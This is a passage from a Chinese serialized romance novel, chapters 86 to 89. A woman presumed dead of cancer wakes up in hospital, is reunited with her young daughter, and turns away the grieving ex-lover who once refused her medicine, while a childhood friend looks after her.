《心跳停止时,他的婚礼在放烟花》 第86章 我不死,你也不许死 医院。 肿瘤科,住院部。 林听的眼皮很沉,睁开的时候用了很大的力气。 吸入鼻尖的,是消毒水的味道。 很熟悉! 挪动手臂时,头顶的输液管微微晃动。 这是…… “你再这么躺下去,我都快没耐心守在这里了。” 闻声望去,林听看到了坐在床侧椅子上的——周自衡。 说是快没耐心的男人,眼眶布满了红血丝。 脸上青黑色的胡渣,是林听从未见过的。 哪怕周自衡越狱逃亡,与她见面的那一次,也不如现在这般憔悴狼狈。 林听脑子懵懵的,像是糊了浆糊。 “我这是……没死吗?” 明明她已经看到了,来接去另一个世界的妈妈。 明明,她听到柚子哀求的哭声,她是那样无助无力。 最后怎么失去知觉的,她也不知道。 周自衡也是学医的。 他看了林听的生命体征监护仪,各项数据都是正常的。 目光这才落回到林听的面容上。 “从今往后,不许再提这个‘死’字。” “晦气!” 林听向来知道,周自衡是唯物主义者。 从他的嘴里,从来不会吐出‘晦气’两个字。 林听脑袋更懵,“那我这……到底是死了,还是活着?” 周自衡重复:“林听,从今以后不许再提这个字。” “死”这个字,让周自衡眼眶的红血丝更深,密密麻麻,浸在一片泪光之中。 连他脖颈处的青筋也紧紧崩着。 他仿佛在害怕着什么。 红血丝之中的泪光,戳了着林听的心窝。 她认识的周自衡,从小生活在周家。 他习惯了身边人的算计与坑害。 他也习惯了用麻木的眼神,来藏起自己所有的情感。 认识他二十余年了。 林听从来没有见过,周自衡的泪光。 “周自衡,你……” “林听,你应该知道,从小到大我只有你、江遇、江书臣三个朋友。” 周自衡说得很认真。 确实! 周自衡身边最亲的人,伤他最深。 他从小孤僻,无亲,无友。 她……算是他从小到大的朋友吗? 周自衡眼中的泪光隐去。 一个男儿的铁血与刚毅,再次在他眼中展现。 “林听,以后我没死,我不允许你再提这个死字。” 这口吻带着某种不明的霸气之意。 林听来不及去多想别的。 脑海里是柚子一声又一声的哭声。 濒临死亡前,柚子求着她,让她再抱抱她。 可是那个时候,她感知到自己油尽灯枯。 她想爬起来抱抱柚子,可是她无能为力。 这一刻,她好想把柚子抱进怀里。 再也不要撒手。 “周自衡,柚子在哪里?” 周自衡答:“之前你一直昏迷不醒,怕柚子再次受到刺激,还没告诉她你还活着。” 言语间,周自衡将这些天发生的事情,言简意赅地告诉了林听。 此刻,他眼中那些不明的眸光,也不复存在。 只剩下以往的刚毅与平静。 仿佛刚刚他眼中的泪光与害怕,只是林听的一场错觉。 林听没有多想。 她这才知道。 所有人都以为她已经死了。 并且,为她举行了葬礼。 周自衡又说,“我已经通知宋律风,柚子很快就会被带过来。” 没过一会儿,医生过来看了看林听的各种情况。 恢复得很正常。 但是她体内的癌细胞,还没有完全清除。 需要继续治疗。 接着,林听被转到了普通病房。 明媚的五月清晨里,她的脸色有了几丝血色。 可她还是太瘦了。 洛高送来了瘦肉蔬菜粥。 粒粥熬得又软又烂。 光是闻着味,就觉得挺香的。 洛高把盛好的粥碗,递给林听。 “林小姐,这粥可是周先生特地吩咐厨房,要熬软一点,烂一点。” “这几天,周先生也不知道你什么时候能醒过来。” “他一直守着,澡也不洗,衣服也没换,都发臭了。” 周自衡把林听接过去的粥碗,端过来。 平静的目光,淡淡地睇了洛高一眼: “这里没你什么事了。” 偷偷一笑的洛高,很快识趣地离开了病房。 病房里,只剩下林听和周自衡。 周自衡勺了一口粥,喂到林听嘴边。 林听不太习惯,这样被人照顾。 她说了谢谢,夺过勺子,自己吃起来。 吃到一半,她抬头,问,“周自衡,你哪里来的M901抗癌药?” 周自衡:“你先喝粥。” 劫后余生的林听,喝着什么都是香的。 她又喝了几口。 米香味,菜香味,肉香味。 全是生命的能量。 活着,真好! 她可以继续守护她的柚子。 不知道柚子这几天过得怎么样。 有没有乖乖吃饭,有没有哭? 她好想柚子。 喝完粥,她抬眸。 “周自衡,你为什么要救我?” 周自衡不答反问: “二十三年前,赵家小孙子百日宴。” “我被周家的人推下水,你还记得吗?” 那件事情,林听当然记得。 作为周家不受待见的私生子,周自衡从小被周家人欺负。 赵家小孙子百日宴上。 周自衡同父异母的几个哥哥姐姐,明知他不会水,还将他推下两米多深的大泳池。 当时她也不会水。 但是她抱起一个破烂的游泳圈,挣扎着来到他的身边。 她恍然大悟,“因为我救过你,所以你也救我?” 周自衡:“我周自衡有仇必报。有恩,也必报。” 说这句话的时候,他一直看着要听。 目光明明很平静,却像很深很深的旋涡,要将林听吸进去。 小半分钟,他连眼睛也不眨一下。 林听忽然不知道要怎么接话,“……” 那一年,她六岁,周自衡九岁。 跳下水时,她的游泳圈是破的。 她怕水。 但她义无反顾地往周自衡那边划。 在她的记忆里。 她明明是要去救周自衡的。 惊慌害怕中,她把周自衡的头按进了水里头。 当时别提有多糗了。 最后,还是江遇和江书臣赶过来,把他们一起从水里捞了起来。 小时候的事情,好像很久远。 久远到仿佛是上辈子的事。 可是又仿佛,就在昨天。 林听觉得欣慰,她身边还有这么好的朋友。 “周自衡,你这个朋友,还是值得深交的。” 朋友两个字,让周自衡的眸光变默。 吱嘎一声。 病房门在这个时候,被人推开。 站在门口的柚子,快要惊呆了。 律风爸爸果然没有骗她。 妈妈还活着! 妈妈真的还活着!! 喜极而泣的泪水,从柚子的眼里滚滚而落。 她再也忍不住,拔腿奔向妈妈。 床上的林听也忍不住,掀开被子奔向柚子。 脚尖沾地时,虚弱的她双脚一软,踉跄跪向地面。 旁边的周自衡眼疾手快,及时扶住了她的手臂。 他单臂磅礴有力。 轻而易举将林听整个人托起。 “小心些!” 这句‘小心些’,轻轻落下。 却带着重重的力道。 还带着周自衡对林听的目光凝视。 激动中的林听和小柚子,根本没有发觉。 只有旁边的宋律风,听到了,也看到了。 周自衡满眼都是红血丝,脸上青黑色的胡渣好几天没刮过了。 这是一直守着林听? 宋律风这才知道,他一直守在这里。 周自衡将林听扶起来好,“没事吧?” 林听哪有功夫回应他。 此刻,小小的柚子被她紧紧拥入怀里。 失而复得,喜极而泣。 “妈妈!”柚子在妈妈怀里,激动坏了,“柚子好想你!” “柚子,妈妈也好想你。” 看到这温馨感动的一幕,宋律风眼眶一红。 真好! 林听还活着!活着!! 柚子也不用失去妈妈了。 旁边的周自衡,提醒了宋律风一句: “我们先出去,让她们母女俩好好团聚。” 两母女一定有说不完的话。 诉不完的衷肠。 两个男人从病房里走出去。 林听和柚子完全不觉。 门外,宋律风看着掩门的周自衡,“这几天,你一直守在林听身边?” 周自衡不答,反问,“你和林听,并不是事实婚姻?” 关于他和林听领证结婚的实情,宋律风从未告诉过周自衡。 宋律风问,“林听告诉你了?” 周自衡:“我在等你的答案。” 宋律风:“从何看出?” 其实看出这一点,根本不难。 林听喜欢洋桔梗,宋家别墅花园却种着栀子花。 学生时代,宋律风暗恋林听,周自衡知道。 那个时候,宋律风还和江遇打过架。 如果宋律风仍旧对林听有什么心思,他花园里的栀子花会换成林听喜欢的洋桔梗。 但栀子花一直种着。 说明宋律风心里一直住着亡妻周琪。 他已经有了答案,便不再追问。 随即,拍了拍宋律风的肩,“这里交给你,我回去洗个澡。” 林听五天没醒过来,他守了五天。 大夏天的,身上发臭了。 该洗个澡了! 从肿瘤科住院部走出去。 周自衡碰见了江遇。 两人从不同科室走出来,在住院部的楼外走廊,迎面相撞。 看样子,都是要去停车场。 两人一起停下脚步。 显然,对面的江遇,脸色憔悴又虚弱。 周自衡问,“听说葬礼上,你吐血了?” 说着,周自衡的目光,不经意间扫向江遇的左手手背。 上面留着留置针。 并且血迹斑斑。 不用猜想,应该是强制拔了针尖,导致回血。 这男人不要命了! 周自衡眉心微拧间,哼了一声,“自作孽,不可活!” 语声未落,周自衡已经迈步而去。 江遇望着他的背影,开口问,“阿衡,你来医院干什么?” 回应他的,是周自衡的冷漠之声: “自己的身体,自己保重。你死了,不会有人心疼。” 他不会告诉江遇,林听还活着。 林听也不想再见到他。 江遇也想死。 林听得去世,对他打击太大。 此刻正是烈阳艳艳的人间五月天。 到处铺满了强烈的阳光。 可是在他眼里,繁华的高楼、翠绿的爬山虎、娇艳的花儿,还有眼前明媚的阳光,都是灰败不堪的。 整个世界失了色彩。 整个人生,失了意义。 唯有脑海中,柚子支离破碎的身影,让他深深牵挂。 他答应了柚子,要拿他和妈妈的合照给她的。 他得马上赶回星河湾。 想到拿到照片,就能见到柚子。 江遇死气沉沉的心,这才有了些许欣慰。 …… 星河湾,静轩别苑。 林薇薇等了江遇三天三夜了。 他整个人像是人间蒸发了一样。 怎么也联系不上。 一同联系不上的,还有陈叔吴婶和他的司机小陈。 当江遇拖着疲惫不堪的身子,急速走回客厅时,林薇薇整个人哭着扑直去。 纤细的手,落在江遇的手背上。 “阿遇,这两天你去哪里了?” 手臂上纤细的手,被江遇冷冷挥开,“不要叫我阿遇。” 阿遇…… 只有林听才能这样叫他。 第87章 惊!林听还活着? 从前,林听总是喜欢夹紧他的腰。 攀着他的肩。 一声又一声地叫着他:阿遇,阿遇…… 这个称呼,勾起江遇许多的回忆。 记忆在脑海里闪回。 一帧又一帧。 由甜蜜,到虐心,到撕心裂肺。 脑海里的画面,最后停留在林听被抢救无效的那一刻。 他紧紧握了拳头。 拳头上,青筋暴起。 他恨自己,蠢到无药可救。 被推开的林薇薇,眼泪汹涌而落。 “阿遇,你这几天……” “我说了,不要叫我阿遇。” 林薇薇话说到一半,被江遇斩钉截铁。 吓得林薇薇连眼泪也不敢掉下来。 她怔怔地看着江遇,心里翻起惊滔骇浪。 完了!这次真的完了。 林听只是去世,江遇便这般仇恨她。 要是让江遇掌握到实质的,坑害林听的证据…… 他会怎么对她? “江遇……” 此刻,江遇没有证据,证明背后一切都是林薇薇所为。 他不会拿林薇薇怎么样。 汹涌的怒意被他克制着。 “林薇薇,从今天开始,你搬出静轩别苑。” 林薇薇身后的林振宇,冲上来,“江遇,你发什么疯?” 客厅里的两兄妹,江遇已不予理会。 他不管林薇薇哭得有多汹涌。 更不管大步追上来,火气冲冲的林振宇。 林振宇在身后紧追着。 “江遇,林听去世了,我也很难过。我比你更痛苦。” “可是我不会像你这么不理智。” “你凭什么把火气全发在薇薇身上?” “巴厘岛的婚礼举行了一半,你把薇薇一个人丢在那里一走了之,已经让薇薇和我们林家很丢人了。” “你现在要把薇薇赶出去,你让薇薇以后怎么活?” “难道林听死了,所有人也要跟着她不活了不成?” 最后这句话,让走到画室门口的江遇停下来。 转身回头时,他脖颈处与额角处青筋浮现。 “林振宇,林听才是你的妹妹。” 一句话,击中林振宇的心脏。 想到妹妹最后抢救无效,他也是刽子手之一,林振宇胸口阵阵窒息。 那是他从小疼到大的妹妹啊。 林听最后拿着小时候的照片,求着他给她一盒M901抗癌药。 他不仅拒绝了林听,还摔碎了那本漂亮的琉璃水晶相册。 如果他把药给了小听。 小听现在一定还活着。 胸口的阵阵窒息,让林振宇一个踉跄,沉浮不稳地退了半步。 他捂住疼痛的胸口,眼眶泛红,“……是我害了林听。” 沉沉地吸了一口气,林振宇抬眸时,满眼无可奈何。 “可是,江遇……” “薇薇也是我妹妹啊。” “林听死了,你不能把气都撒在薇薇身上。” “死了的人更重要,还是活着的人更重要?” 啪! 江遇的重拳,落在林振宇脸上。 林振宇始料不及,江遇又拎起他的衣领。 “林振宇,你长长脑子!” 说话间,他将林振宇的衣领拎得更紧。 妹妹的去世,林振宇满心愧疚。 这一拳,林振宇认了。 他不还手。 江遇咬牙,又说,“我亲自守着法医,和柚子做了亲子鉴定。” 林振宇:“柚子是你亲生女儿?” 江遇恨自己太蠢太笨,“是。” 他又恨这背后做手脚的人。 愤怒间,他甩开林振宇。 他敢肯定的事情是,之前的亲子鉴定,一定是被人做过手脚。 虽然还没有足够的证据,证明是林薇薇干的。 但林薇薇嫌疑最大。 他的这些话,让林振宇好好想了想。 “那孩子真的是你的?” 看着眼神混乱的林振宇,江遇又说: “你有没有想过,当年林听和林叔做亲子鉴定时,是不是也出了问题?” “背后的人,会不会用了同样的手段,调换了林听和林叔的亲子鉴定结果?” 思绪混乱的林振宇,疑惑地望向林薇薇。 林薇薇哭着,摇头,“哥,我没有。哥,你相信我。” 林振宇抓住林薇薇的手,逼问着,“薇薇,你跟哥说句实话。你到底有没有坑害过柚子和小听?” 林薇薇拼命地摇头,也拼命地落着泪,“哥,我真的没有。你们没有证据,你们不能这么冤枉我……” 呜呜呜…… 林薇薇哭得汹涌而委屈。 “哥,如果你和江遇都这么冤枉我。” “我会活不下去的。” 想到自己已经失去了一个妹妹,林振宇怕林薇薇做什么傻事。 怕又失去一个妹妹。 他忙替林薇薇拭泪,“对不起!” 此刻,林薇薇哭得再汹涌,江遇也毫不在乎。 反而有些不耐烦地拧起眉心。 林薇薇朝他扑过去。 “江遇,你不是经常说,没有证据的事情,你不会轻易下定论吗?” “江遇,你别这样怀疑我,好不好?我好难过!” 手臂上那只纤细的手,江遇再次挥开。 忽然觉得眼前的女人藏得好深。 能一次一次瞒过他的眼睛,不留下蛛丝马迹。 当真是好手段! “林薇薇,常在河边走,哪有不湿鞋。” 证据。 会有的。 丢下这句话,江遇冷漠走进了画室。 林薇薇扑上去解释时,门被他嘭一声摔过去。 一道紧掩的门,将哭得撕心裂肺的林薇薇,隔绝在外。 无论她怎么拍门,江遇都不理会。 满室的画像,映入他眼帘。 他终于明白。 这些年他明明和林薇薇订了婚,却为什么还会画这么多林听的画像。 他从来没有变过心。 也从来没有爱上过林薇薇。 他心里那方神圣之地,永远为林听留着。 满室林听的画像,便是最好的证明。 还有抽屉里,那些他与林听早些年的,被他保存的极好的合照,也是最好的证明。 可是现在,他连弥补的机会也没有了。 林听唯一留给他,只有柚子。 连柚子也恨透了他。 取了相册,他又离开了星河湾的静轩别苑。 没过多久,陈叔和吴婶回了静轩别苑,将林薇薇的所有东西都收拾打包。 “林小姐,江先生吩咐了,让你今天务必从这里搬出去。” …… 荷塘月色。 别墅里,周自衡洗完澡,换了身干净的衣服。 也刮了胡子。 出门前,他在落地镜前,试了好几套衣服。 每试一套,他都会让洛叔和洛婶,进来看一看。 “洛叔,洛婶,这套怎么样?” 洛叔和洛婶,是洛高的父母。 他们一直跟着周自衡。 一个是周自衡的管家,一个负责周自衡的饮食起居。 两夫妻对视了一眼。 今天的周先生好生奇怪呀! 出门前,他特意打扮了。 洛婶笑盈盈道,“周先生,你不会是看上哪个女孩子,想谈恋爱了吧?” 周自衡看着镜中的自己,不露声色,“就这套,怎么样?” 旁边的洛叔附和道,“周先生,你穿哪套都很好看。” 从周自衡当庭无罪释放,到他重回周家,坐上周家家主之位,这才过去不到二十天。 他依旧是刚刚无罪释放,那一头寸头的造型。 头发长了一丢丢。 依然很短。 可就周自衡这寸头的造型,既硬朗,又柔情。 洛叔洛婶从周自衡十六岁,便在他身边做事。 除了他在监狱里的那五年,他从不在意自己的穿着打扮。 今天这太阳真是打西边出来了。 等周自衡离开后,洛叔洛叔在后面偷笑。 “周先生肯定是有喜欢的女孩了。” “说不定是去约会的。” …… 东江幼儿园。 柚子和洛洛放学了。 宋律风还在法庭上。 洛洛被张淑琴和周国立先接走了。 而柚子,则和周自衡在一起。 周自衡准备接了洛洛,去林听那里。 本子早上得知妈妈还活着,下午返校后,整个人欢快得如同小黄莺。 话多了。 笑容也多了。 连看到来接她的周爸爸,也觉得他比平日帅气多了。 “周爸爸,你今天怎么这么帅?” 周自衡抱着柚子,刮了刮她的小鼻子,“因为,要带你去妈妈那里。” 说着,周自衡拉开车门。 身后,响起一个男声。 “周自衡,你要带柚子去哪里?” 是江遇。 江遇的车停在对面。 见到周自衡抱着柚子从幼儿园出来,他走了过来。 他好像听见周自衡刚刚说,他要带柚子去见妈妈? 是要去见林听? 听不太真切 但此时此刻,江遇心脏暴击。 他们是要去哪里见林听? 林听还活着? 第88章 柚子,爸爸对不起你。 林听并不想让江遇知道,她还活着。 这一点,周自衡深知。 面前,站在他车门前的江遇,满眼疑惑地等着他的回应。 和昨日一样,江遇的状态并不太好。 夕阳下,他眼里布满了红血丝。 青黑色的胡渣,让他整个挺拔伟岸的身影,更显憔悴和痛楚。 没有得到回应,他又重复问了一遍: “周自衡,你刚刚说,你要带着柚子去哪里见林听?” 方才,周自衡和柚子说着要去见林听时,两人明明一脸明媚欢喜的笑意。 尤其是柚子。 昨日见到她,她小小的身影支离又破碎。 今日眼里有了笑意,有了光。 难道林听真的还活着? 忽然,呼吸停滞在喉咙间。 江遇激动的胸膛,剧烈起伏着。 太阳穴突突地跳。 手中的牛奶没喝两口,突然砸落在地。 浓稠的牛奶洒出来,将他黑色的皮鞋浸成一大片奶白色。 裤脚也被浸得湿嗒嗒的。 可是江遇全然不觉。 他只知道,周自衡要带着柚子去见林听。 是去见活着的林听吗? 否则,刚刚柚子的眼里为何有着那样明媚的光芒? “周自衡,你说话,林听是不是还活着?” 周自衡用沉默,来回应着江遇这迫不及待的催促与逼问。 怀里的柚子,也沉默下来。 反感憎恨的目光,从柚子大大的双眼里,直直地落在江遇的身上。 柚子太讨厌见到眼前这个男人了。 见到他,阳光不明媚了。 心情也不愉快了。 扫兴又讨厌。 见周自衡不回答,江遇又拉住柚子的小手,温柔又急切地问: “柚子,你告诉爸爸,妈妈是不是还活着?” 问出这句话时,江遇眸中的泪水再也忍不住,滚滚而落。 明明知道不可能。 可他还是期望有奇迹发生。 “柚子,你说话啊。” 喉咙间,挤出一声破碎的哽咽。 小小的手儿,无情地甩开了他。 柚子一个字也不愿意回答他。 这时,抱着柚子的周自衡,淡淡开口: “我们要去墓地看望林听。” “你应该知道,林听不愿见到你。你送去的洋桔梗,她也不稀罕。” 周自衡倒是淡定从容。 一丝也未慌乱。 说完这句话,他便抱着柚子上了车。 车门前的江遇,失魂落魄地站在那里。 夕阳的将他挺拔伟岸的身影拓在地上。 连他的影子,也充满了悲伤。 林听怎么可能还活着? 他亲自为林听做的心脏复苏。 他亲眼看见林听由低温症状,到心跳停止。 周自衡要关车门时,他伸手一挡。 “柚子,爸爸带了妈妈的照片,你可以等我一下吗。” “爸爸想把照片拿给你。” 柚子并不回答江遇。 周自衡在旁边温柔地问了一句,“柚子,你要拿回妈妈的照片吗?” 柚子点了点头。 周自衡这才看向江遇,“两分钟。” 那意思是说,只给江遇两分钟的时间。 江遇心如针扎。 如今他想见自己的亲生女儿,还得经过周自衡同意。 但他争分夺秒,去了自己那辆红旗国礼车上,抱来了一个箱子。 箱子里,装着他与林听许多合照。 当时他归还林听许多东西,唯一舍不得这些照片。 很多照片,都是他偷偷保存的。 此时,柚子站在车门前,等待着。 返回后,江遇单膝跪地蹲下来,又把怀里的箱子抱到柚子面前。 其中一本相册,江遇拿出来,在柚子面前翻开。 “柚子,你看,这是爸爸和妈妈小时候的照片。” “看,你和妈妈小的时候,是不是很像?” “爸爸和妈妈,是从很小很小的时候,就认识了。” 柚子不答。 她顺着江遇翻相册的动作,一页一页地往下看。 确实,她和妈妈小时候长的一模一样。 江遇又说,“爸爸和妈妈,从小青梅竹马,感情很深的。” 手指落在林听儿时的照片上,江遇眼里有了一丝悲凉的笑容。 “妈妈是从那个时候开始,就吵着长大后要嫁给爸爸。” 柚子,已经没了耐心再听下去。 刚刚她不插话,让江遇把话说完,完全是出于礼貌。 这会儿,相册被她一把夺过去。 一同夺过去的,还有整个箱子。 随即,柚子眼里的仇恨与痛意,越发加深。 “可是,妈妈就快死掉的时候,我冒着雨去求你给妈妈一盒药,你却见死不救。” 说这句话时,柚子是哽咽的。 眼前的男人,是她的亲生爸爸。 五岁多的柚子,已经对血缘亲情,有了很深的体会。 亲爸爸,应该是这个世界上,疼她最多,呵护她最深的亲人。 可是,他让她和妈妈受尽了世间的苦。 最后还对妈妈见死不救。 这一辈子,她都不会原谅眼前的男人。 血缘亲情,她改变不了。 正是这血缘亲情,让她小小的心灵痛苦不堪。 水晶般清澈的眼里,是痛苦的泪水。 是无法释怀。 是恨意。 见柚子这般痛苦,周自衡忙把她抱起来。 “柚子,对不起,爸爸……” 江遇欲拭去柚子的泪水。 周自衡长臂一挡。 手指指腹也在这个时候,温柔地落在了,柚子那潮湿的小脸蛋上。 “柚子,乖,周爸爸抱抱!” 站在旁边的江遇,伸出去的手,从半空中垂落。 无力地落在身侧。 十指紧握时,他手背青筋隐现。 他的亲生女儿,他连替她擦掉眼泪这种事情,也成了一种奢望。 所有的悔恨和内疚,最终只能化作一句无力的—— “柚子,对不起!” 周自衡舍不得柚子哭得这般伤心。 柚子完全和林听一个横子里刻出来。 她一落泪,就像是儿时的林听被人欺负了似的。 眼前的江遇,让他眉眼里有了一丝冷冽和警告: “江遇,孩子见到你,这般难过。” “你能不能有一丝自知之明,离柚子远一些?” 江遇舍不得女儿哭得这般伤心。 他擦了泪,识趣道,“我现在走,马上走……” 自知之明,他何尝又没有? 女儿讨厌他,恨他。 大概柚子永远也不想见到他。 他大步离开时,一步一回头。 明明有千不愿万不舍,可又不得不让自己识趣地消失在女儿面前。 到了自己的车前。 他坐进车里,看着周自衡抱着女儿上了车,又看着周自衡的车子离开停车场,开上车道,消失在川流不息的车流中…… 车影远去。 再也瞧不见了。 驾驶室里,江遇痛哭流涕。 “柚子,爸爸对不起你!” 喉间挤出破碎的呜咽声。 一声,一声,如尖刀划破喉咙。 那么可爱的柚子,因为他,这么小就家破人亡。 那个时候,他明明发过誓,如果林听给他生了一个女儿,他要千般宠着,万般疼着的。 夕阳下,他趴在方向盘上。 心中悔恨和痛苦无处发泄。 拳头用力地落在方向盘上,一下,一下,又一下。 …… 清江路。 周自衡认真地开着车子。 他朝车内后视镜瞧了瞧,柚子还沉浸在痛苦之中。 这孩子,每一次见到江遇,都会闷闷不乐好一阵子。 他轻声问,“柚子,你有没有发现,周爸爸今天给你装了一个漂亮的儿童安全椅,是你喜欢的艾莎公主座椅?” 柚子礼貌地应了一声,“谢谢周爸爸。” 但是,她还是不开心。 见到那个人,小小的胸膛总是堵堵的,很难受。 开着车子的周自衡,完全能够体会此刻柚子的心情。 同样是被至亲深深伤害。 这种痛楚,周自衡三岁归家时,体会了太多太多。 如果柚子是一个男孩子,他会觉得柚子早早经历人间苦难,是一种很好的历练。 他也一定会告诉柚子,要咬紧牙关,挺住,蜕变,成长。 可是,柚子是个软软萌萌的女孩子啊。 她本应该像花朵一样,被温柔呵护着。 可是她被江遇摧残得奄奄一息,失了灵气。 江遇这个王八蛋! 为了逗柚子一笑,周自衡向来沉默寡言的一个大男人,突然给柚子讲了好多笑话。 终于,柚子破涕为笑。 见她笑了,周自衡紧崩的眉心,也终于露出了一丝欣慰。 他朝后视镜里,露出笑容的柚子望了一眼。 “柚子,以后要是有人敢欺负你,你第一时间告诉周爸爸,好吗?” 柚子对周自衡,是完全信任的。 她坚定地点了点头,然后,又问,“周爸爸,因为我,你被大家冤枉,可是你为什么还是要这么关心我呀?” 孩子心里像明镜一样。 谁对她好,谁对她不好,她清清楚楚。 律风爸爸和周爸爸,和她一点血缘关系也没有。 可是,他们都对她很好。 她探着个小脑袋,望着驾驶室里,身姿伟岸如山,让人有着满满安全感的周自衡。 周自衡开着车,想了想,“……因为周爸爸一直想要个女儿,和柚子一样可爱的女儿。” 被周爸爸夸了可爱,柚子笑盈盈道,“周爸爸,那你赶紧找个老婆,生个可爱的宝宝吧。” 这句话,周自衡没有再回应。 他一边开着车,一边从车内后视镜里,满眼温柔地看了柚子一眼。 这张脸与儿时的林听,完全如同一个模子里刻出来。 记忆重叠。 许多往事浮于脑海。 初夏的风从窗外吹进来,清清爽爽的。 监狱里的那些阴霾和窒息,在这一刻仿佛被一扫而空。 …… 医院,肿瘤科,住院部。 林听见到柚子,依然有说不完的话,诉不完的衷肠。 两母女明明早上才见过面。 这会儿周自衡把柚子送到病房里,两母女抱着说了许久的话。 周自衡被晾在一旁。 不过,他很安静。 洛高送来晚餐后,周自衡静静地在旁边准备着碗筷。 然后把小桌板,推到母女俩面前。 “柚子,去洗手和妈妈吃饭,一会儿边吃边聊。” 柚子很乖地点了点头。 去洗手之前,又紧紧抱了抱妈妈。 小小的脸蛋,被林听吻了又吻,“乖,去洗手吧。” 等柚子下了床,去洗手时,林听望向周自衡,“你刚刚接手周家,应该很忙吧。你不用老是来医院看我。” 回应林听的,是周自衡的不答反问,“你和宋律风,要一直这样维持名不副实的夫妻关系?” 第89章 病愈重生! 周自衡问出这个问题时,已经替林听盛好了海参百合瘦肉汤。 随即,往汤碗里放了一只陶瓷勺子,递过去。 接过汤碗的林听,完全没反应过来。 周自衡又说: “你体内的癌细胞,不用一个月,就能缓解百分之九十以上。” “再配合一些常规治疗,半年内能痊愈。” “你好好的活着,宋律风就不用再当柚子的监护人了。” “还是,你想和宋律风发展下去?” 问出最后一句,周自衡的目光落在林听的身上。 虽是平静无常,可是他眼睛一眨不眨,一直看着她。 林听喝了一口汤,问,“宋律风告诉你,我们不是事实婚姻的?” 周自衡不答,只问,“你是否准备和宋律风继续发展下去?” 毕竟,宋律风可是从学生时代,一直暗恋着林听。 林听也明白宋律风对她的感情。 宋律风的妻子周琪已经去世了,他们俩完全有可能继续往下发展。 林听又喝了一口汤。 这汤带着肉香味,还有海参的味道。 是她熟悉的味道。 她不做林家千金太多年了。 可是汤里的海参味,是极品货。 这玩意能够让人增强免疫力,她一口气把汤喝了个精光。 然后,擦擦嘴,对周自衡说,“当然不会!当初领证只是权宜之计。” 闻言,周自衡握紧的拳头,终于松开。 眉心也有了一丝松快。 那目光,一刻未从林听身上挪开过。 “宋律风待你十分真诚,为了你的事情跑前跑后,也视柚子为己出。” “你没有一丝感动?” 林听:“我们是纯友谊,好不好?” 周琪的去世,对宋律风打击很大。 这期间,宋律风还为她的事情各种操心操劳。 这份情谊,堪比兄长。 她的心里,暖暖的,“以后,律风一家人,都是我的亲人。” 这时,周自衡的嘴角,勾起了一丝笑意。 他长得铁血刚毅。 笑起来的时候,竟然透着淡淡的柔情。 然后满意道,“终于长脑子了!” “什么?”林听问。 周自衡又给她盛了一碗汤,“你跟江遇的那些年,纯属就是个恋爱脑。下次选男人,长长脑子,别轻易坠入爱河。” 有了前车之鉴,林听早就明白了,“我这辈子都不会再找男人,放心,我不会再让任何人伤害我,也不会再给任何男人机会。 这句话,让周自衡盛着汤的动作,顿了顿。 刚好这时,洗完手的小柚子,返回二人身边。 两人自然结束了这个话题。 饭后,林听对周自衡说了许多谢谢。 然后,又道,“周自衡,你刚刚接手周家,一定很忙。而且周家的人肯定不会如此轻易甘心,让你坐上周家家主之位,他们说不定还会在背后阴你,你小心谨慎些,多把心思花在应会周家之上,就不必老是跑医院照顾我了。” 周自衡淡淡地应了一声,“你这算是在关心我?” 这时,柚子把江遇送来的一整箱相册,抱到床边。 “妈妈,这是那个人给我的照片。” “你和那个人以前的照片。” 那个人指的是江遇。 两母女早就心照不宣。 提及到江遇,林听脸上的笑容僵住。 那是她永远也不想提及的男人。 箱子里的相册,她拿起来看了看。 没想到江遇连他们婴儿时期的合照,也一直保存着。 幼儿园,小学,初中,高中,大学。 她记得很清楚,江遇说过,他要保留着这些照片,直到他们青丝白发。 将来有一天,他们老得走不动了。 他会带着她,坐在他亲手种满的洋桔梗花园里,和她一起翻看过去的照片。 但是这相册中的时光,断在了她的大学时代,她入监狱的那一年。 那么多的回忆,她不可能全部忘记。 胸口,依然还会有密密麻麻的痛意,如山洪暴发。 她永远不会忘记,照片里的男人在她临近死亡时,那般冷漠,那般羞辱,那般见死不救。 可是,她会选择释怀。 她抬眸,看向在旁边默默看着的周自衡,“可以给我一把剪刀吗?” 没过一会儿,周自衡找来了剪刀,递给她。 接过剪刀后,合照被她义无反顾地,一分为二。 剪开的,既是她与江遇的合照,也是她和江遇的人生。 从此以后,大家各不相干,各走各的路。 柚子在旁边看着,“妈妈,我以后再也不想看到这个人。” 林听温柔地抚了抚柚子的脑袋,“好,以后我们再也不要见这个人。” 剪掉的照片,林听交给了周自衡,“周自衡,帮我拿去烧掉吧。” 周自衡:“不后悔?” 林听目光坚定,“我要是再后悔,我就是活该的。” 周自衡接过照片,“林听,我从来不希望你和江遇闹成这样。但这一次,如果你再有半分心软,你真的是自找的。” 林听:“知道了,你今天怎么话这么多?” 周自衡:“我可不希望你和上一次,一样蠢笨。” 林听坚定道,“谁会在同一个坑里再踩第二次?” …… 三个月后。 林听提前出院。 病愈的她,剪了新的发。 长长青丝,被她剪到耳下,做了微卷的造型。 这三个月,周自衡给林听送了很多营养的汤,营养的饭菜。 那个诸事缠身的周自衡,像是化身她的饲养员一样,把她当猪一样养着。 加上周国立和张淑琴还有宋律风几人,时不时地给她做好吃的。 瘦弱的她,又回到了以前的体重。 一米六七,九十九斤。 不胖,偏瘦。 可是脸上终于长出肉来。 再也不是干巴巴的瓜子脸。 昔日那个瘦归瘦,却拥有一张饱满的国泰民安脸的林听,又回来了。 出院的第三天,正是林听的生日。 这一天,也是林听妈妈唐婉华的忌日。 林听原本是不准备过生日的,可是架不住宋律风张淑琴周国立还有周自衡的热情安排。 他们在酒店里,给林听准备了生日宴。 饭后,快到切蛋糕的环节。 张淑琴和周国立借着去推蛋糕的机会,把宋律风喊到一边。 张淑琴主动开口,“律风啊,小听已经康复出院了,我和你爸也想通了一件事情。” 宋律风是一个很好的女婿。 女儿周琪在世时,他对周琪样样周到疼爱。 对他们老两口,也亲如父母。 周琪死后,宋律风眼里没了光芒。 这些,他们都看在眼里。 张淑琴又道: “律风啊,你还这般年轻,以后也不可能一直一个人过。” “落落和柚子相处如亲姐妹,小听也是你以前喜欢过的女生。” “你们都是苦命人,不如重新组建一个家庭,反正你们也领了证。” 周国立附和道,“是啊,律风,你们……” “爸,妈。”宋律风斩钉截铁,“小琪才走不到四个月……” 提起亡妻,宋律风喉咙发紧,阵阵哽咽。 胸口的窒息感,让他做了一个长长的深呼吸。 可是,胸口依然好疼,好疼。 “律风,我们把你当儿子一样,我们不希望你下半辈子过得孤苦。” 